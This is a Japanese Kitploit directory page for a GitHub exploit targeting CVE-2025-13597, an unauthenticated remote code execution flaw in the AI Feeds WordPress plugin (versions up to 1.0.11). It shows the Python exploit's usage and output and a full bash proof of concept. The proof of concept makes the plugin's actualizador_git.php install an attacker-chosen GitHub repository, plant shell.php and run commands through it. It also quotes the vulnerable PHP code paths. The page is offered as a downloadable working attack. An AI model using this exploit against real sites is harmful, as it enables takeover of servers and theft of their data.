Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-13597 — AI Feeds <= 1.0.11 - 未認証の任意ファイルアップロード | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-13597
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツール
GitHubd0n601/cve-2025-13597

CVE-2025-13597

AI Feeds <= 1.0.11 - 未認証の任意ファイルアップロード

リポジトリを見る
19ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

AI Feeds <= 1.0.11 - 認証なし任意ファイルアップロード

AI Feeds WordPressプラグインのバージョン1.0.11以下には、actualizador_git.phpファイルに認証なしのリモートコード実行脆弱性が存在します。このファイルはHTTP経由で直接アクセス可能であり、認証や認可のチェックが行われないため、認証されていない攻撃者が任意のGitHubリポジトリをダウンロードし、プラグインファイルを上書きすることでリモートコード実行が可能になります。

TL;DR エクスプロイト

CVE-2025-13597.pyが提供されており、リモート攻撃者がshell.phpをアップロードしてリモートコードを実行する方法を示しています:

root@kitploit:~
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND

技術的分析

脆弱性は/wp-content/plugins/ai-feeds/actualizador_git.phpに存在します。このファイルはGitHubリポジトリのミラーリングシステムを実装しており、セキュリティ制御なしでHTTP経由で直接アクセスできます。

コードパスの分析

  1. 直接ファイルアクセス(1-17行目): このファイルには、直接HTTPアクセスを防ぐ標準的なWordPress ABSPATHチェック(if (!defined('ABSPATH')) exit;)が欠けています。パラメータは検証なしで$_GETから直接読み取られます:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. トークン検証(26行目): 唯一の検証は、トークンが空であるかデフォルト値かどうかのチェックのみです。認証や認可は一切実行されません:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. GitHub APIリクエスト(31行目, 35-58行目): スクリプトは、ユーザーが制御するパラメータを使用してGitHubのAPIからZIPファイルをダウンロードします:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    curl_download()関数はAuthorizationヘッダーでトークンを送信しますが、リポジトリの所有者や内容の検証は行いません。

概念実証

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"
ツールをダウンロード
  • ZIP解凍とファイル操作(144-169行目): ダウンロードしたZIPは解凍され、ファイルはプラグインディレクトリに直接コピーされます:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
    

    rrcopy_into()関数は、解凍されたリポジトリからすべてのファイルを現在の作業ディレクトリ(プラグインディレクトリ)に再帰的にコピーし、既存のファイルを上書きします。

  • ファイル削除(164-165行目): ダウンロードしたリポジトリに存在しないファイルは削除されます:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    mirror_delete_extras()関数は、プラグインディレクトリ内のファイルのうち、リポジトリマニフェストに存在しないものを削除します。